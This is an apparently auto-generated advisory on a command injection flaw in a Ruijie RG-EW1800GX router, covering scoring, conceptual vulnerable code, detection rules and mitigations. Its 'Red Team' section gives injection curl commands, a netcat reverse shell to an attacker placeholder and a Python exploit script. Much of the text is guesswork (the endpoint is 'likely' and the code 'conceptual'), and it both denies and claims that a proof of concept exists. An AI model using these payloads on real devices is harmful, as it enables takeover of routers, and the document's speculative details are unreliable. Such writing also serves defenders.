CVE-2025-56091
Executive Summary
CVE-2025-56091 is a critical OS Command Injection vulnerability discovered in the Ruijie RG-EW1800GX router, specifically in firmware version B11P226_EW1800GX_10223121. The flaw resides in the /usr/local/lua/dev_config/config_retain.lua file, where the module_set function fails to properly sanitize user-supplied input from a crafted POST request. This allows an unauthenticated, remote attacker to inject arbitrary operating system commands, leading to full device compromise.
The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). With a CVSS v3.1 base score of 9.8 (Critical), the attack vector is network-based, requires no authentication, and no user interaction. Successful exploitation grants the attacker complete control over the affected router, enabling data exfiltration, lateral movement within the network, and potential use as a botnet node.
As of this report, no official patch has been released by Ruijie, and no public proof-of-concept (PoC) code or exploit is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild at this time, but the severity demands immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device (Ruijie RG-EW1800GX router). The attack surface is limited to the device's web management interface.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector (AV): Network (N) – Exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full read access to device filesystem and network traffic.
- Integrity (I): High (H) – Full write access to device filesystem and configuration.
- Availability (A): High (H) – Full control over device operation, including denial of service.
Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using the affected Ruijie RG-EW1800GX routers.
Deep Dive & Mechanics
The vulnerability is an OS Command Injection flaw in the Lua-based web management interface of the Ruijie RG-EW1800GX router. The file /usr/local/lua/dev_config/config_retain.lua contains a function module_set that handles POST requests to configure device modules.
The root cause is the lack of input sanitization. The module_set function likely takes a parameter from the POST body (e.g., module_name or command) and passes it directly to a system shell command, such as os.execute() or io.popen(), without escaping or validating the input.
For example, a vulnerable code snippet might look like:
function module_set(request)
local module = request.post_params["module"]
local cmd = "echo " .. module .. " >> /tmp/config.log"
os.execute(cmd)
end
An attacker can inject arbitrary commands by including shell metacharacters (e.g., ;, |, &&, `) in the module parameter. For instance, sending module=test; id would execute echo test; id >> /tmp/config.log, resulting in the id command being executed.
The attack is performed via a crafted POST request to the vulnerable endpoint. No authentication is required, as the web interface may expose this functionality without proper access controls.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual):
-- Vulnerable: Direct concatenation of user input into shell command
function module_set(request)
local module_name = request.post_params["module"]
local command = "echo " .. module_name .. " >> /tmp/config.log"
os.execute(command)
end
Patched Code (Expected):
-- Patched: Use parameterized API or proper escaping
function module_set(request)
local module_name = request.post_params["module"]
-- Validate input against a whitelist
if not is_valid_module(module_name) then
return { status = "error", message = "Invalid module" }
end
-- Use a safe API that does not invoke a shell
local file = io.open("/tmp/config.log", "a")
if file then
file:write(module_name .. "\n")
file:close()
end
end
The patched version should either:
- Validate the input against a strict whitelist of allowed module names.
- Use a safe API (e.g.,
io.write) instead of shell execution. - Escape shell metacharacters if shell execution is unavoidable (not recommended).
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Ruijie RG-EW1800GX router with firmware B11P226_EW1800GX_10223121.
- Network access to the router's web management interface (typically on port 80 or 443).
- A tool like
curl,Burp Suite, or a custom Python script.
Exploitation Steps:
Identify the vulnerable endpoint: The endpoint is likely
/cgi-bin/luci/;stok=/module_setor similar. Use directory brute-forcing or analyze the firmware to find the exact path.Craft the malicious POST request: Inject a command using shell metacharacters. For example, to execute
idand capture output:curl -X POST http://<router_ip>/cgi-bin/luci/;stok=/module_set \ -d "module=test; id > /tmp/out.txt"Retrieve command output: If the output is not directly returned, use a reverse shell or exfiltration method:
curl -X POST http://<router_ip>/cgi-bin/luci/;stok=/module_set \ -d "module=test; nc <attacker_ip> 4444 -e /bin/sh"Full compromise: Once a shell is obtained, escalate privileges (if needed) and maintain persistence.
Example Python Exploit Script:
import requests
target = "http://192.168.1.1/cgi-bin/luci/;stok=/module_set"
command = "id"
payload = {"module": f"test; {command}"}
response = requests.post(target, data=payload)
print(response.text)
Blue Team (Defensive)
Detection:
- Monitor HTTP POST requests to the
/cgi-bin/luci/;stok=/module_setendpoint. - Look for unusual parameters containing shell metacharacters (
;,|,&&,`,$()). - Alert on any POST request with a
moduleparameter that does not match a known whitelist.
Mitigation:
- Immediately isolate affected devices from the network if possible.
- Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the
moduleparameter. - Monitor for outbound connections from the router to unknown IPs (potential reverse shells).
Hunting:
- Search logs for
module_setPOST requests with suspicious payloads. - Check for unexpected processes running on the router (e.g.,
nc,bash,python). - Look for files created in
/tmp/with unusual names.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/luci/;stok=/module_setwith amoduleparameter containing shell metacharacters. - Outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
- Unusual DNS queries from the router to domains associated with C2 infrastructure.
Host IOCs:
- Presence of files in
/tmp/with names likeout.txt,pwned, or similar. - Unexpected processes running on the router (e.g.,
/bin/sh,nc,bash). - Modified or new entries in
/etc/cron.d/or/etc/init.d/for persistence.
File IOCs:
- The vulnerable file
/usr/local/lua/dev_config/config_retain.lua(hash unknown, but file size and content can be compared against a known good version).
Detection Engineering
YARA Rule
rule CVE_2025_56091_Ruijie_Command_Injection {
meta:
description = "Detects exploitation attempts of CVE-2025-56091 in HTTP POST requests"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-56091"
strings:
$endpoint = "/cgi-bin/luci/;stok=/module_set"
$shell_meta1 = /[;&|`$()]/
$shell_meta2 = /module=.*[;&|`$()]/
condition:
$endpoint and ($shell_meta1 or $shell_meta2)
}
Sigma Rule
title: CVE-2025-56091 Ruijie Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable module_set endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/cgi-bin/luci/;stok=/module_set'
keywords:
- ';'
- '|'
- '&&'
- '`'
- '$('
condition: selection and keywords
falsepositives:
- Legitimate use of shell metacharacters in module names (unlikely)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-56091 Ruijie Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/cgi-bin/luci/;stok=/module_set";
http_uri;
pcre:"/(?:[;&|`$()]|module=.*[;&|`$()])/Ri";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Disconnect the Ruijie RG-EW1800GX routers from the network until a patch is available.
- Disable remote management: If remote management is not required, disable it to reduce the attack surface.
- Implement network segmentation: Place the routers in a separate VLAN with strict access controls.
Long-term Actions:
- Monitor for patches: Regularly check Ruijie's official website or contact their support for a firmware update.
- Apply virtual patching: Use a WAF or IPS to block exploitation attempts (see Detection Engineering rules).
- Replace affected devices: If a patch is not released in a timely manner, consider replacing the routers with alternative, secure models.
Workaround:
- If the router's web interface is not needed, block access to port 80/443 on the router from external networks.
- Manually edit the Lua file to add input validation (requires firmware modification and may void warranty).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.